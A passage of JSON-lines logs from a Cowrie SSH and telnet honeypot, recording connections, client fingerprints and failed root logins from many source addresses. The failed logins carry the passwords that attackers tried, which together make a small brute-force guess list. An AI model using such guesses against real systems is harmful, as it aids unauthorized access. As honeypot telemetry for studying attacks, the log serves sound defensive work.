ha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:01:59.881850Z","src_ip":"43.153.22.143","session":"26bc173cb2aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www-data123","message":"login attempt [root/www-data123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:00.188424Z","src_ip":"43.153.22.143","session":"26bc173cb2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:01.265346Z","src_ip":"43.153.22.143","session":"26bc173cb2aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"896957e3f191","protocol":"telnet","message":"New connection: 152.42.224.71:54912 (10.17.0.5:23) [session: 896957e3f191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:04.012709Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":48630,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fd6f38fbc9d","protocol":"ssh","message":"New connection: 154.83.13.181:48630 (159.203.135.109:22) [session: 2fd6f38fbc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:11.217281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:11.227824Z","src_ip":"154.83.13.181","session":"2fd6f38fbc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:12.190662Z","src_ip":"154.83.13.181","session":"2fd6f38fbc9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@55wOrd","message":"login attempt [root/p@55wOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:12.809184Z","src_ip":"154.83.13.181","session":"2fd6f38fbc9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:14.021105Z","src_ip":"154.83.13.181","session":"2fd6f38fbc9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":33332,"dst_ip":"10.17.0.5","dst_port":22,"session":"75a818d9cb06","protocol":"ssh","message":"New connection: 197.248.104.31:33332 (10.17.0.5:22) [session: 75a818d9cb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:14.277156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:14.281819Z","src_ip":"197.248.104.31","session":"75a818d9cb06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.836965084075928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:14.380723Z","src_ip":"152.42.224.71","session":"283a7983f621","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:14.492173Z","src_ip":"197.248.104.31","session":"75a818d9cb06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gaye","message":"login attempt [root/gaye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:15.363091Z","src_ip":"197.248.104.31","session":"75a818d9cb06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:16.575712Z","src_ip":"197.248.104.31","session":"75a818d9cb06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":48996,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec2cd73f17f","protocol":"ssh","message":"New connection: 43.153.124.153:48996 (10.17.0.5:22) [session: bec2cd73f17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:20.849198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:20.859694Z","src_ip":"43.153.124.153","session":"bec2cd73f17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:20.927635Z","src_ip":"43.153.124.153","session":"bec2cd73f17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antoine","message":"login attempt [root/antoine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:21.230506Z","src_ip":"43.153.124.153","session":"bec2cd73f17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:22.309374Z","src_ip":"43.153.124.153","session":"bec2cd73f17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47266,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc352d37b219","protocol":"ssh","message":"New connection: 194.113.233.25:47266 (10.17.0.5:22) [session: cc352d37b219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:29.758315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:29.763314Z","src_ip":"194.113.233.25","session":"cc352d37b219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:29.859008Z","src_ip":"194.113.233.25","session":"cc352d37b219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666662","message":"login attempt [root/6666662] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:30.140102Z","src_ip":"194.113.233.25","session":"cc352d37b219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:31.239193Z","src_ip":"194.113.233.25","session":"cc352d37b219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":35024,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4aea7e1c573","protocol":"ssh","message":"New connection: 43.153.69.201:35024 (10.17.0.5:22) [session: d4aea7e1c573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:42.572112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:42.580948Z","src_ip":"43.153.69.201","session":"d4aea7e1c573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:42.650286Z","src_ip":"43.153.69.201","session":"d4aea7e1c573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword","message":"login attempt [root/newpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:42.959301Z","src_ip":"43.153.69.201","session":"d4aea7e1c573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":40962,"dst_ip":"159.203.135.109","dst_port":23,"session":"6737dfb0c8ce","protocol":"telnet","message":"New connection: 18.218.118.203:40962 (159.203.135.109:23) [session: 6737dfb0c8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:43.413894Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":53886,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eccdefa147d","protocol":"ssh","message":"New connection: 58.186.20.143:53886 (10.17.0.5:22) [session: 0eccdefa147d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:43.544672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:43.548713Z","src_ip":"58.186.20.143","session":"0eccdefa147d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:43.795331Z","src_ip":"58.186.20.143","session":"0eccdefa147d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:44.031753Z","src_ip":"43.153.69.201","session":"d4aea7e1c573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3com","message":"login attempt [root/3com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:44.812186Z","src_ip":"58.186.20.143","session":"0eccdefa147d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":49290,"dst_ip":"159.203.135.109","dst_port":22,"session":"bec5dc192a24","protocol":"ssh","message":"New connection: 43.128.111.187:49290 (159.203.135.109:22) [session: bec5dc192a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:44.861677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:44.870020Z","src_ip":"43.128.111.187","session":"bec5dc192a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:45.106731Z","src_ip":"43.128.111.187","session":"bec5dc192a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":48466,"dst_ip":"10.17.0.5","dst_port":22,"session":"034482286ec3","protocol":"ssh","message":"New connection: 170.106.119.118:48466 (10.17.0.5:22) [session: 034482286ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:45.350364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:45.356128Z","src_ip":"170.106.119.118","session":"034482286ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:45.429118Z","src_ip":"170.106.119.118","session":"034482286ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@admin","message":"login attempt [root/123@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:45.741192Z","src_ip":"170.106.119.118","session":"034482286ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:46.062533Z","src_ip":"58.186.20.143","session":"0eccdefa147d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:46.084342Z","src_ip":"43.128.111.187","session":"bec5dc192a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b496537209fa","protocol":"telnet","message":"New connection: 152.42.224.71:52794 (10.17.0.5:23) [session: b496537209fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:02:46.387227Z"}
